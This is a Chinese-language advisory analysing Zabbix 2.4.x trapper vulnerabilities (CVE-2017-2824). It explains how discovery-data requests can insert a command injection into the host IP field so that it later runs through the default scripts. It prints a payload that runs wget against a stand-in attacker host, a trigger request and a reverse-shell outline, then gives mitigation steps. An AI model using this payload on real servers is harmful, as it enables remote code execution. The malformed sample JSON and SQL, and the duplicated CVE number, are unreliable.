zabbix是一個基于WEB界面的提供分布式系統監視以及網絡監視功能的企業級的開源解決方案。
zabbix能監視各種網絡參數,保證服務器系統的安全運營;并提供靈活的通知機制以讓系統管理員快速定位/解決存在的各種問題。
漏洞描述Zabbix Server Active Proxy Trapper 遠程代碼執行漏洞 (CVE-2017-2824)★★★★
Zabbix 2.4.x中的trapper command功能存在一處代碼執行漏洞,特定的數據包可造成命令注入,進而遠程執行代碼,攻擊者可以從一個Zabbix proxy 發起請求從而促發漏洞。
漏洞細節
該漏洞位于Zabbix中“Trapper”代碼部分,它的主要功能是允許Proxy和Server進行通信的網絡服務(TCP端口10051)Zabbix Server提供了一組針對Zabbix Proxy的API調用,兩個將討論的是“discovery data”和“request command”。這些請求的示例數據如下所示:
'{"request":"command","scriptid":1,"hostid":10001}''{"request":"discovery data","host":"zabbix-proxy.com","clock":10,"data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ip:10.0.0.1, "dns":"zabbix-agent.com", port":10050,"key":"test","status":0,"value":"test_value"}]}應該注意的是,request命令調用位于Zabbix數據庫中的腳本,而不進行任何身份驗證。該漏洞的另一個關鍵方面是,默認情況下,Zabbix 2.4.X使用腳本以下表中的3個腳本填充MySQL數據庫:
問題在于,在調用腳本時,{HOST.CONN}字段實際上被host的IP地址替換。替換{HOST.CONN}的值位于Zabbixinterface表中,然后保存成VARCHAR(64)類型的“IP”字段。因此,如果攻擊者可以使用命令注入創建接口作為IP地址,并且通過“命令”請求的方式運行{HOST.CONN}腳本,則將發生命令注入,并且可以獲得反向shell。
這個難題在于有效地將值插入到Zabbixhost表。默認情況下,未經身份驗證的攻擊者無法做到這一點,它需要系統管理員的一個次要配置,特別是關于Zabbix自動發現功能。
Zabbix自動發現和自動注冊功能允許根據Zabbix Proxy提供的Zabbix Server數據進行Zabbix Server的配置。更具體地說,如果主機根據服務器的配置向Zabbix Proxy提供某些特性,則可能會采取某些操作,其中一個會使新發現的主機被添加到某些Zabbix數據庫表中。在這種情況下,主機將被插入到“host”表中,并且將創建一個入口到Zabbixinterface表中,主機提供的IP地址插入到IP列中,而不會對該IP地址的任何驗證。
因此,通過使用合適的主機向服務器發送一個發現數據請求,可以將命令注入插入到數據庫中:
write_script_cmd='{"request":"discoverydata","host":"zabbix-proxy.domain.fake","clock":148535399,"data":[{"clock":1485353070,"drule":88,"dcheck":174,"type":0,"ip":";wget -O/tmp/shttp://attacker-ip/s;#","dns":"host28.domain.fake","port":10050,"key":"sectest","status":0,"value":"lnx<(^_^)>host"}]}'由于ZabbixInterface表的ip字段的大小限制,第二個主機被插入到另一個IP地址的表中。
run_cmd = '{"request":"command","scriptid":1,"hostid":14666}'在這兩個主機被添加之后,仍然有一個問題,即不知道該hostid的command請求,但是這很容易解決了。暴力請求入數據庫,因為不同的命令請求會返回不同的響應,確定主機是否存在,一旦存在的主機被確定,就可以直接調用它們,并且可以獲得反向的shell。命令請求如下所示
緩解措施刪除Zabbix數據庫中的默認腳本條目,可以直接操作數據庫刪除 sql 為: use zabbix; delete * from scripts; ,也可使用圖形界面刪除 (Administration->Scripts->Checkmarks->Delete Selected).
Zabbix Proxy 數據庫寫入漏洞(CVE-2017-2824)
Zabbix 2.4.x中的trapper功能存在一處數據庫寫漏洞,特定的惡意trapper數據包可通過database 的邏輯檢查,造成數據庫寫入,攻擊者可通過中間人的方式修改zabbix proxy 和 Server間的請求來觸發漏洞。
影響版本